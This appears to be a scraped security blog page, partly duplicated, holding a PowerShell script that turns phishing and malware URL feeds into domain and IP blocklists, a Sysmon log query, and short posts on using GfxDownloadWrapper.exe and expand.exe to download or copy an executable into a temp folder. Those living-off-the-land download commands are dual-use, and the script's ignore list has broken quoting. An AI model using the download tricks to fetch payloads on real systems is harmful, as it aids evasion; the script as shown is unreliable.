#double count it (www.ebay.com and ebay.com)
$newHit = New-Object PSObject
$newHit | add-member Noteproperty dns $domainThem.SubString(4)
$outputList += $newHit
$savedCount = $savedCount + 1
}
$newHit = New-Object PSObject
$newHit | add-member Noteproperty dns $domainThem
$outputList += $newHit
$savedCount = $savedCount + 1
}
}
if($debug){ Write-Output ("Exporting '{0}'" -f $fileOutput) }
$outputList | Export-Csv -NoTypeInformation -Path $fileOutput
if($debug){ Write-Output ("Saved '{0}'" -f $fileOutput) }
if($debug){ Write-Output ("Exporting '{0}'" -f $fileIpOutput) }
$outputIpList | Export-Csv -NoTypeInformation -Path $fileIpOutput
if($debug){ Write-Output ("Saved '{0}'" -f $fileIpOutput) }
if($debug){ Write-Output ("Dns='{0}', Ips='{1}', Ignored='{2}'" -f $savedCount, $savedIpCount, $ignoredCount) }
if($debug){
foreach($dns in $outputList){
if($dnsList -eq ""){
$dnsList = $dns.dns
}else{
$dnsList = "{0},{1}" -f $dnsList , $dns.dns
}
}
foreach($ip in $outputIpList){
if($ipList -eq ""){
$ipList = $ip.ip
}else{
$ipList = "{0},{1}" -f $ipList , $ip.ip
}
}
Write-Output $dnsList
Write-Output $ipList
}
#usage: iex (get-content .\GetData.ps1 | out-string) > output.txt
$debug = $true
$fileOutput = "dns.csv"
$fileIpOutput = "ip.csv"
$ignoreList = @("google.com", "www.google.com", "urlhaus.abuse.ch", "pastebin.com", "ak.imgfarm.com", "docs.google.com", "drive.google.com", "i.imgur.com", "img.sobot.com", "imgur.com", "www.imgur.com", "raw.githubusercontent.com", "github.com", "www.github.com", "adobe.com", "www.adobe.com", "ibm.com", "www.ibm.com", "dell.com", "www.dell.com", "bing.com", "www.bing.com", "msn.com", "www.msn.com", "documentcloud.adobe.com", "cisco.com", "www.cisco.com", "l.yimg.com", "yimg.com", "dl.dropboxusercontent.com", "dropbox.com", "www.dropbox.com", "godaddy.com", "godaddysites.com", "files.constantcontact.com", "ipinfo.io", "bit.ly", "onedrive.live.com", "000webhostapp.com", "storage.googleapis.com", "wikileaks.org", "forms.gle", "go2l.ink", "capesandbox.com", "twitter.com", "paste.cryptolaemus.com", "cryptolaemus.com", "gist.githubusercontent.com", "bitbucket.org", "img1.wsimg.com", "cdn.discordapp.com", "web.mit.edu", "bit.do", "na3.docusign.net", "sway.office.com", "sites.google.com", "aka.ms", "login.microsoftonline.com", "track.smtpsendmail.com", "r20.rs6.net", "files.gamebanana.com", "sems.sas.com", "www.avast.com", "1.0.0.0", "bitly.com", "instagram.com", "www.instagram.com", "1.2.0.1073", "2016.3.3.0332", "3.0.0.2013", "31.128.173.853", "4.8.0.904", "cdn.speedof.me", "codeload.github.com", "tr.im", "urlz.fr", "accounts.google.com", "t.co", "fls.doubleclick.net", "1359940.fls.doubleclick.net", "rebrand.ly", "23.4.43.27", "app.smartsheet.com", "forms.office.com", "api.whatsapp.com", "form.jotform.com", "tinyurl.com", "firebasestorage.googleapis.com", "www.google.com.au", "go.pardot.com", "goo.gl", "click.icptrack.com", "online.jimmyjohns.com", "feeds.feedburner.com", "www.google.co.uk", "event.on24.com", "www.powr.io", "protect-us.mimecast.com", "visitor.constantcontact.com", "www.questionpro.com", "click.pstmrk.it", "code.jivosite.com", "apple.co", "www.google.com.mx", "linktr.ee", "www.vcita.com", "www.evernote.com", "www.123formbuilder.com", "tiny.cc", "app.box.com", "script.google.com", "disq.us", "click.email.microsoftemail.com", "fiddle.jshell.net", "cache.nebula.phx3.secureserver.net", "lnkd.in", "www.magazineluiza.com.br", "share.hsforms.com", "fbwat.ch", "app.dialoginsight.com", "cl.s10.exct.net", "etrack05.com", "www.alaskausa.org", "vk.com", "storage.cloud.google.com", "1drv.ms", "www.imcreator.com", "172.217.21.162", "sinacloud.net", "tinyurl.com", "is.gd", "note.youdao.com", "www.surveygizmo.com", "www.tinyurl.com", "surveygizmo.com", "ow.ly", "www.eater.com", "eater.com", "www.stats.gov.cn", "stats.gov.cn", "buff.ly", "www.angelfire.com", "epl.paypal-communication.com", "forms.zohopublic.com", "objectstorage.us-ashburn-1.oraclecloud.com", "t.yesware.com", "snip.ly", "cutt.ly", "mysurveygizmo.com", "www.mysurveygizmo.com", "gitlab.com", "ht.ly", "teamapp.com", "chat.chatra.io", "id.ee.co.uk", "paste.ee","youtube.com","www.youtube.com","play.google.com","google.com.br","docsend.com","www.google.com.br","www.emailmeform.com","emailmeform.com","web.facebook.com","upload.facebook.com","te.bathandbodyworks.com","tatatechnologies.workplace.com","statis.facebook.com","protect-eu.mimecast.com","notion.so","mtouch.facebook.com","messenger.com","j.mp","images2.imgbox.com","graph.facebook.com","fbthirdpartypixel.com","es-la.facebook.com","error.facebook.com","email.secureserver.net","edge-chat.workplace.com","edge-chat.facebook.com","deref-gmx.net","cs.atdmt.com","click.mail.onedrive.com","ca.surveygizmo.com","business.facebook.com","badge.facebook.com","apps.facebook.com","api.facebook.com","an.facebook.com","about.instagram.com","yadi.sk", "157.240.2.20", "www.notion.so","static.facebook.com","www.login-bank.org", "ctt.ec", "www.teamapp.com", "t.umblr.com", "upscri.be", "www.imeipro.info", "imeipro.info", "wisegeek.com", "deref-mail.com", "app.getaccept.com", "cdn2.hubspot.net", "slack-redir.net", "www.wisegeek.com", "chime.com", "www.chime.com", "b.link" , "hyperurl.co", "s3.ap-south-1.amazonaws.com", "podio.com", "s3-us-west-2.amazonaws.com", "tfaforms.com", "www.tfaforms.com", "webservice99.com", "mediafire.com", "www.mediafire.com", "smarturl.it","s3.us-east-1.amazonaws.com","www.restaurantdive.com" ,"rawcdn.githack.com"","https","http","ttp","ttps","lasvegas.craigslist.org","clicktime.symantec.com","survey.survicate.com","t.me","clicktotweet.com", "www.wetransfer.com", "wetransfer.com", "www.geocities.ws", "geocities.ws", "wa.me", "email.godaddy.com", "emailmarketing.locaweb.com.br", "dlvr.it", "www.sendspace.com", "v.ht", "52.109.124.1", "static.wixstatic.com","docs.wixstatic.com","image.prntscr.com,"d1yjjnpx0p53s8.cloudfront.net", "canva.com", "articulo.mercadolibre.com.mx", "e-mudhra.com", "www.canva.com", "listado.mercadolibre.com.mx")
#$urlIntelThem = "https://openphish.com/feed.txt"
#$urlIntelThem = "https://data.phishtank.com/data/online-valid.csv"
#$urlIntelThem = "https://phishstats.info/phish_score.txt"
#$urlIntelThem = "https://urlhaus.abuse.ch/downloads/csv/"
#$urlIntelThem = "https://urlhaus.abuse.ch/downloads/csv_recent/"
$urlIntelThem = "https://urlhaus.abuse.ch/downloads/csv_online/"
$rawHttpThem = ""
$rawIntelThem = ""
$dnsList = ""
$ipList = ""
$first = 0
if($debug){ Write-Output ("Requesting '{0}'" -f $urlIntelThem) }
$httpResponseThem = Invoke-WebRequest -UseDefaultCredentials $urlIntelThem
$rawHttpThem = $httpResponseThem.RawContent
if($debug){ Write-Output ("Downloaded '{0}'" -f $urlIntelThem) }
if($rawHttpThem.IndexOf("abuse.ch") -gt 0){
$rawIntelThem = $rawHttpThem.SubString($rawHttpThem.LastIndexOf("# ")+2)
}elseif($rawHttpThem.IndexOf("PhishStats") -gt 0){
$rawIntelThem = "date,score,url,ip`r`n{0}" -f $rawHttpThem.SubString($rawHttpThem.LastIndexOf("# ")+2)
}elseif($rawHttpThem.IndexOf("phish_id") -gt 0){
$rawIntelThem = $rawHttpThem.SubString($rawHttpThem.IndexOf("phish_id"))
}else{
$first = $rawHttpThem.IndexOf("http")
$rawIntelThem = "url`r`n{0}" -f $rawHttpThem.SubString($first)
}
$csvThemIntel = ConvertFrom-Csv $rawIntelThem
$outputList = @()
$outputIpList = @()
$savedCount = 0
$savedIpCount = 0
$ignoredCount = 0
foreach($rowIntelThem in $csvThemIntel){
try {
$domainThem = ([System.Uri]::new($rowIntelThem.url).Host).ToString()
$ignoreIt = 0
foreach($ignoredItem in $ignoreList){
if($domainThem.ToLower() -eq $ignoredItem.ToLower()){
$ignoreIt = 1
$ignoredCount = $ignoredCount +1
break
}
}
if($ignoreIt -eq 0){
$ipThem = [IPAddress] $domainThem
$newHit = New-Object PSObject
$newHit | add-member Noteproperty ip $ipThem
$outputIpList += $newHit
$savedIpCount = $savedIpCount + 1
}
}
catch{
if($domainThem.ToLower().StartsWith("www.")){
#double count it (www.ebay.com and ebay.com)
$newHit = New-Object PSObject
$newHit | add-member Noteproperty dns $domainThem.SubString(4)
$outputList += $newHit
$savedCount = $savedCount + 1
}
$newHit = New-Object PSObject
$newHit | add-member Noteproperty dns $domainThem
$outputList += $newHit
$savedCount = $savedCount + 1
}
}
if($debug){ Write-Output ("Exporting '{0}'" -f $fileOutput) }
$outputList | Export-Csv -NoTypeInformation -Path $fileOutput
if($debug){ Write-Output ("Saved '{0}'" -f $fileOutput) }
if($debug){ Write-Output ("Exporting '{0}'" -f $fileIpOutput) }
$outputIpList | Export-Csv -NoTypeInformation -Path $fileIpOutput
if($debug){ Write-Output ("Saved '{0}'" -f $fileIpOutput) }
if($debug){ Write-Output ("Dns='{0}', Ips='{1}', Ignored='{2}'" -f $savedCount, $savedIpCount, $ignoredCount) }
if($debug){
foreach($dns in $outputList){
if($dnsList -eq ""){
$dnsList = $dns.dns
}else{
$dnsList = "{0},{1}" -f $dnsList , $dns.dns
}
}
foreach($ip in $outputIpList){
if($ipList -eq ""){
$ipList = $ip.ip
}else{
$ipList = "{0},{1}" -f $ipList , $ip.ip
}
}
Write-Output $dnsList
Write-Output $ipList
}
Wednesday, April 22, 2020
Query Sysmon Logs using Powershell Get-WinEvent
get-winevent -filterhashtable @{logname="Microsoft-Windows-Sysmon/Operational";id=1} | select Message |foreach-object {$a = $_.Message.split([Environment]::NewLine); ""; foreach ($a2 in $a) {$b = $a2.split(':',2); $key = $b[0]; $value = $b[1]; if($key -eq "CommandLine" -or $key -eq "ParentCommandLine"){"{0}={1}" -f ($key,$value)}}}
sample output
CommandLine= sh "C:/Program Files/Git/mingw64/libexec/git-core\\git-update-git-for-windows" --quiet --gui
ParentCommandLine= git.exe update-git-for-windows --quiet --gui
CommandLine= git.exe update-git-for-windows --quiet --gui
ParentCommandLine= cmd\git.exe update-git-for-windows --quiet --gui
CommandLine= cmd\git.exe update-git-for-windows --quiet --gui
ParentCommandLine= "C:\Program Files\Git\git-bash.exe" --hide --no-needs-console --command=cmd\git.exe update-git-for-windows --quiet --gui
CommandLine= "C:\Program Files\Git\git-bash.exe" --hide --no-needs-console --command=cmd\git.exe update-git-for-windows --quiet --gui
ParentCommandLine= C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule
sample output
CommandLine= sh "C:/Program Files/Git/mingw64/libexec/git-core\\git-update-git-for-windows" --quiet --gui
ParentCommandLine= git.exe update-git-for-windows --quiet --gui
CommandLine= git.exe update-git-for-windows --quiet --gui
ParentCommandLine= cmd\git.exe update-git-for-windows --quiet --gui
CommandLine= cmd\git.exe update-git-for-windows --quiet --gui
ParentCommandLine= "C:\Program Files\Git\git-bash.exe" --hide --no-needs-console --command=cmd\git.exe update-git-for-windows --quiet --gui
CommandLine= "C:\Program Files\Git\git-bash.exe" --hide --no-needs-console --command=cmd\git.exe update-git-for-windows --quiet --gui
ParentCommandLine= C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule
Monday, April 20, 2020
GfxDownloadWrapper.exe downloader
cd c:\windows\system32\DriverStore\FileRepository\ki132337.inf_amd64_223d6831ffa64ab1
(sub folder may vary)
GfxDownloadWrapper.exe https://somewhere/test.exe c:\windows\temp\test.exe
dir c:\windows\temp\test.exe
(sub folder may vary)
GfxDownloadWrapper.exe https://somewhere/test.exe c:\windows\temp\test.exe
dir c:\windows\temp\test.exe
expand.exe files copied
to copy from a file share
expand.exe \\share\test.txt c:\windows\temp\test.exe
expand.exe \\share\test.txt c:\windows\temp\test.exe
Subscribe to:
Posts (Atom)